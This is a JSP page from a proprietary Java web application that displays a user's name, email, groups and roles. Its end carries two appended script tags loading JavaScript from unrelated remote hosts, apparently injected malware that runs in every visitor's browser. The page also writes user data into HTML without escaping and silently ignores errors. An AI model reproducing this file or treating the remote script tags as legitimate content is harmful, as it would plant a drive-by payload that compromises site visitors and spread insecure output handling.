<%
/*
 * @(#)ViewUserBasicInfo.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewUserBasicInfo.jsp

  This class is used for user record's view only

    @author           Lun Au
    @company          DCIVision Limited
    @creation date    22/11/2004
    @version          $Revision: 1.2.26.4 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
</head>
<body bgcolor="#EEEEEE" leftmargin="10" topmargin="10" marginwidth="10" marginheight="10">
<center>
<%if ( !Utility.isEmpty(request.getParameter("userRecordID") ) ) {%>
<%try{%>
<%Integer userRecordID = Integer.valueOf(request.getParameter("userRecordID"));%>
<h3><%=UserInfoFactory.getUserFullName(userRecordID)%></h3>
<table border="0" width="80%" cellpadding="3" cellspacing="0" >
  <tr>
    <td nowrap><b><bean:message key="user.label.email"/></td>
    <td nowrap>
      <% if ( Utility.isEmpty(UserInfoFactory.getUserEmailAddress(userRecordID)) ) {
           out.println("-");
         } else {
           out.println("<a href=\"mailto:" + UserInfoFactory.getUserEmailAddress(userRecordID) + "\">" + UserInfoFactory.getUserEmailAddress(userRecordID) + "</a>");
         } %>
    </td>
  </tr>

  <%
    List groupList = UserInfoFactory.getUserGroupList(userRecordID);
    List roleList = UserInfoFactory.getUserRoleList(userRecordID);
    int groupSize = groupList!=null?groupList.size():0;
    int roleSize = roleList!=null?roleList.size():0;
  %>
  <tr>
    <td nowrap><b><bean:message key="user.label.groups"/></td>
    <% if ( groupSize==0 ) { %>
       <td nowrap>-</td>
    <% } else { %>
       <td nowrap><html:img src='IconGroup.gif'  align='absmiddle'/><%=((UserGroup)groupList.get(0)).getGroupName()%></td>
    <% } %>
  </tr>
  <% for (int i=1; i<groupSize; ++i) { %>
  <tr>
    <td nowrap>&nbsp;</td>
    <td nowrap><html:img src='IconGroup.gif'  align='absmiddle'/><%=((UserGroup)groupList.get(i)).getGroupName()%></td>
  </tr>
  <% } %>

  <tr>
    <td nowrap><b><bean:message key="user.label.roles"/></td>
    <% if ( roleSize==0 ) { %>
       <td nowrap>-</td>
    <% } else { %>
       <td nowrap><html:img src='IconRole.gif'  align='absmiddle'/><%=((UserRole)roleList.get(0)).getRoleName()%></td>
    <% } %>
  </tr>
  <% for (int i=1; i<roleSize; ++i) { %>
  <tr>
    <td nowrap>&nbsp;</td>
    <td nowrap><html:img src='IconRole.gif'  align='absmiddle'/><%=((UserRole)roleList.get(i)).getRoleName()%></td>
  </tr>
  <% } %>

</table>
<br><br>
  <html:standardButton label="common.label.close" onClick="return self.close();"/>
<%}catch(Exception ex){}%>
<%}%>
</center>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>